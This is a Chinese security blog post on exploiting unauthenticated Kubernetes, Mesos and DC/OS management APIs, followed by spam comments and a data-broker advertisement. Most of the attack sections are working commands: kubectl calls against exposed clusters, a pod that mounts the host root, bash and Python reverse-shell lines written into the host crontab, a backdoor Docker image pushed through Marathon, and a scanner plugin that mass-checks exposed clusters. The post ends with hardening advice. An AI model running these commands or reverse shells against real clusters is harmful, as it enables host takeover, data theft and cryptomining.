0x00 前言
随着大数据时代的到来,容器化技术(Containerization)运用地越来越广泛,容器集群管理平台也应运而生。
当前主流的容器集群管理技术,包括 Docker 官方的 Docker Swarm
、Apache 的 Mesos
和 Google 的 Kubernetes
。
其中 Docker Swarm 使用了 Docker 原生的标准 API 来管理容器,另外的 Mesos 和 Kubernetes 都采用了自己的实现方式。
大家或许还记得之前影响广泛的 Docker Remote API
(2375 端口)未授权漏洞,那么其他的容器管理平台是否也会存在类似的问题呢?
0x01 Kubernetes
根据官方文档,API Server 默认会开启两个端口:8080
和 6443
。
其中 8080 端口无需认证,应该仅用于测试。6443 端口需要认证,且有 TLS 保护。
直接访问 8080 端口会返回可用的 API 列表,如:
{
"paths": [
"/api",
"/api/v1",
"/apis",
"/apis/extensions",
"/apis/extensions/v1beta1",
"/healthz",
"/healthz/ping",
"/logs/",
"/metrics",
"/resetMetrics",
"/swagger-ui/",
"/swaggerapi/",
"/ui/",
"/version"
]
}
而直接访问 6443 端口会提示无权限:User "system:anonymous" cannot get at the cluster scope.
在 Zoomeye 搜索:metrics healthz
,可以看到使用 Kubernetes 最多是中国
和美国
。
其中 443 和 8443 端口几乎都是 OpenShift Origin
,一个基于 Kubernetes 的企业版容器管理平台,默认需要认证。
访问 /ui
会跳转到 dashboard
页面,可以创建、修改、删除容器,查看日志等。
Kubernetes 官方提供了一个命令行工具 kubectl。使用 kubectl
不仅能完成图形界面上的操作,还有个特殊的功能——在容器中执行命令,类似 docker
里的 exec
。
// 获得所有节点
> kubectl -s http://1.2.3.4:8080/ get nodes
// 获得所有容器
> kubectl -s http://1.2.3.4:8080/ get pods --all-namespaces=true
// 在 myapp 容器获得一个交互式 shell
> kubectl -s http://1.2.3.4:8080/ --namespace=default exec -it myapp bash
当然,如果可以控制容器的运行,我们也可以尝试获取宿主机(即 nodes
)的权限。
参考 Docker Remote API 未授权访问漏洞利用,流程大体为创建新的容器 -> 挂载宿主机目录 -> 写 /etc/crontab
定时任务反弹 shell。
根据 Kubernetes 文档中挂载节点目录的例子,可以写一个 myapp.yaml
,将节点的根目录挂载到容器的 /mnt
目录。
apiVersion: v1
kind: Pod
metadata:
name: myapp
spec:
containers:
- image: nginx
name: test-container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
然后使用 kubectl 创建容器:
// 由 myapp.yaml 创建容器
> kubectl -s http://1.2.3.4:8080/ create -f myapp.yaml
// 等待容器创建完成
// 获得 myapp 的交互式 shell
> kubectl -s http://1.2.3.4:8080/ --namespace=default exec -it myapp bash
// 向 crontab 写入反弹 shell 的定时任务
> echo -e "* * * * * root bash -i >& /dev/tcp/127.0.0.1/8888 0>&1\n" >> /mnt/etc/crontab
// 也可以用 python 反弹 shell
> echo -e "* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /mnt/etc/crontab
稍等片刻接收到反弹的 shell:
0x02 Mesos
根据官方文档,Mesos master
默认监听 5050
端口。
Mesos 主界面:
Mesos 的 API 可参考 HTTP Endpoints。
比较有用的一个 API 是 /flags
,可以查看系统的配置情况,包括是否开启权限认证。
Mesos 从 1.2
版开始才有了 exec 进入容器的功能:Mesos Support for Container Attach and Container Exec。
值得吐槽的是 Mesos 的命令行工具居然没有文档,原因是 CLI 依然有很多功能缺失需要重构:A full redesign of the Mesos CLI。好在有一个 Design Doc: Mesos CLI 可供参考。
又因为没有一个专门的 Mesos CLI 工具,唯一的一个 mesosphere/mesos-cli 也有两年没更新了,所以只能安装 Mesos 来使用命令行。
在 Ubuntu 16.04
下安装:
// 添加源
> cat << EOF >> /etc/apt/sources.list.d/mesosphere.list
deb http://repos.mesosphere.com/ubuntu xenial main
EOF
// 更新
> apt-get update
// 如果出现签名问题需要导入 public key
// > apt-key adv --keyserver keyserver.ubuntu.com --recv-keys DF7D54CBE56151BF
// 安装 mesos
> apt-get -y install mesos
安装完成后可以对 Agent
下发任务执行命令(Mesos 版本均为 1.3):
// 设置目标 URL
> mesos config master 1.2.3.4:5050
// 列出正在运行的容器
> mesos ps
// 执行命令(无回显)
> mesos execute --master=1.2.3.4:5050 --name=test --command='curl 127.0.0.1/`hostname`'
可惜在 Docker Volume Support in Mesos Containerizer 中未能找到挂载宿主机(Agent)目录的办法,所以无法逃出沙箱获得宿主机权限。
0x03 DCOS
Mesosphere DCOS
是基于 Apache Mesos 的商业化版本。
根据官方文档,API Router
的默认端口是 80
(HTTP)和443
(HTTPS)。
DCOS 主界面:
相比于 Mesos,DCOS 的对应 API 前多了 /mesos/
,如在 Mesos 中查看版本号是 /version
,在 DCOS 中则是 /mesos/version
。
访问 /dcos-metadata/dcos-version.json
可查看 DCOS 的版本号。
访问 /exhibitor/
是 DCOS 自带的 Zookeeper
管理工具:
访问 /marathon/
是自带的框架(Framework) Marathon
:
DCOS 提供了一个强大的命令行工具,和 Kubernetes 的类似,也可以进入容器执行命令。
参考 Using dcos task exec,测试一下执行命令(DCOS v1.6.1,DCOS CLI v1.9):
// 设置目标 URL
> dcos config set core.dcos_url http://1.2.3.4
// 根据文档创建一个描述文件
> dcos marathon app add my-app.json
// 在执行 my-app 执行 hostname 命令
> dcos task exec my-app hostname
No container found for the specified task. It might still be spinning up. Please try again.
// 添加一个任务
> dcos job add my-job.json
DC/OS backend does not support metronome capabilities in this version. Must be DC/OS >= 1.8
居然不能在 my-app
执行命令,可能是 DCOS 版本过低所致,那如果运行一个 Docker 容器呢:
> dcos task exec my-docker hostname
This command is only supported for tasks launched by the Universal Container Runtime (UCR).
根据 Universal Container Runtime (UCR),container type
需要指定为 MESOS
才能执行命令,但 UCR 是有限制的:
The UCR does not support the following: runtime privileges, Docker options, force pull, named ports, numbered ports, bridge networking, port mapping, private registries with container authentication.
所以如果使用 UCR 的话,Docker 将无法挂载外部目录。而如果使用已有的 Docker 基础镜像的话,无法执行我们需要的命令。
想了一下可以用构建自己 Docker 镜像的方法绕过。
参考 Deploying a Docker-based Service,去 https://hub.docker.com 注册一个账号,假设用户名为 test
,创建一个公开的 Repository: backdoor
。
编写 Dockerfile
:
FROM alpine
# 容器启动时执行命令
CMD echo -e "* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /mnt/etc/crontab
构建 Docker 镜像并推送到 Docker hub:
> docker build -t test/backdoor .
> docker login
> docker push test/backdoor
写配置文件,使用 backdoor
镜像且挂载宿主机根目录到 /mnt
:
{
"id": "backdoor",
"container": {
"type": "DOCKER",
"volumes": [
{
"containerPath": "/mnt",
"hostPath": "/",
"mode": "RW"
}
],
"docker": {
"image": "test/backdoor",
"network": "BRIDGE",
"privileged": true
}
},
"acceptedResourceRoles": ["slave_public"],
"instances": 1,
"cpus": 1,
"mem": 1024
}
最后添加容器到 Marathon:dcos marathon app add backdoor.json
。
稍等片刻获得反弹的 shell:
0x04 批量验证
以 Kubernetes 为例,用 POC-T 可以很方便地从 Zoomeye
的 API 获取数据并进行验证。写一个插件试试:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = Oritz
"""
Kubernetes api 未授权访问
需要安装 kubectl
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.6.1/bin/linux/amd64/kubectl
chmod +x ./kubectl
sudo mv ./kubectl /usr/local/bin/kubectl
Usage:
python POC-T.py -s kubernetes-unauth -aZ "healthz metrics country:cn" --limit 1000
"""
import subprocess
import requests
from plugin.useragent import firefox
def poc(url):
if '://' not in url:
url = 'http://' + url
if '443' in url:
url = url.replace('http:', 'https:')
try:
g = requests.get(url, headers={'User-Agent': firefox()}, timeout=3, verify=False)
if g.status_code is 200 and 'healthz' in g.content and 'metrics' in g.content:
pods = subprocess.Popen("kubectl -s %s get pods --all-namespaces=true -o=wide" % url,
stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=open("/dev/null", "w"), shell=True)
output = pods.communicate()[0].decode("utf-8")
if "Please enter Username" not in output and "Error from server" not in output:
with open("k8s.txt", "a") as f:
f.write(url + "\n" + output + "\n")
return url
except Exception:
pass
return False
部分结果放在了 gist 上:k8s.cn.txt
0x05 偶遇挖矿
在研究过程中发现了部分未授权的 DCOS 被用来挖矿,如查看 DCOS 的任务日志:
在 Zookeeper 的任务配置里也可以看到:
图中的命令和常见的批量扫描主机漏洞并植入挖矿软件的程序很像,所以不大可能是管理员自己运行的。
不过查了一下 Github 上其实早就有开源的基于 Mesos 的分布式比特币挖矿程序了,因为容器管理平台的资源一般都很充裕,可能会成为矿工们的新目标。
0x06 总结
文中主要介绍了 Kubernetes 和 Mesos 未授权漏洞的利用方式和获得宿主机权限的攻击方式。容器管理平台未授权访问不仅会泄露容器中的代码、数据库等敏感文件,还有可能导致宿主机被控制进入内网,产生更大的危害。
参考 Security Best Practices for Kubernetes Deployment,在安装和运行容器管理平台时,遵循以下几点可提高安全性:
- 配置防火墙,禁止敏感端口对外开放
- 对管理端口加上认证
- 使用安全的镜像(私有镜像仓库)
- 设置容器资源限额
- 容器以非 root 用户运行
文中还有两个问题没有解决:
- Apache Mesos 如何挂载宿主机目录
- DCOS 在容器中执行命令是否有更好的方式
如果有意见和建议,欢迎提出。
0x07 参考
Update 2017/07/07
查找 Docker 相关漏洞时在 exploit-db
发现已有对 DC/OS Marathon UI
的攻击程序:
相关文章见:Compromise A DCOS Server Through A Docker Container,大意是 Marathon 的默认端口 8080 未授权验证可被利用,攻击方法和本文中提到的类似。
不过该 exploit 在配置文件中使用了 cmd
来执行命令,无需构建自己的后门镜像,比较方便:
这可以回答之前的 DCOS 在容器中执行命令是否有更好的方式
的疑问,另外也可以解释大量 DCOS 被入侵用来挖矿的原因。
因为被用来挖矿的容器配置与 exploit 中非常类似,创建时间也在 exploit 被公布后,可以判断有人利用该漏洞大量扫描:
至于 Apache Mesos 如何挂载宿主机目录
这个问题,我想到可以通过另外的方式获取宿主机权限而非拘泥于挂载目录,具体方法有时间再写。
感谢分享!已推荐到《开发者头条》:https://toutiao.io/posts/6yx5bs 欢迎点赞支持!
欢迎订阅《安全屋》https://toutiao.io/subjects/27565
Hello from LeadsMax.biz!!
We are shutting down and have made all our data available for all the countries!
Come check us out and search your business and consumer data for free
LeadsMax.biz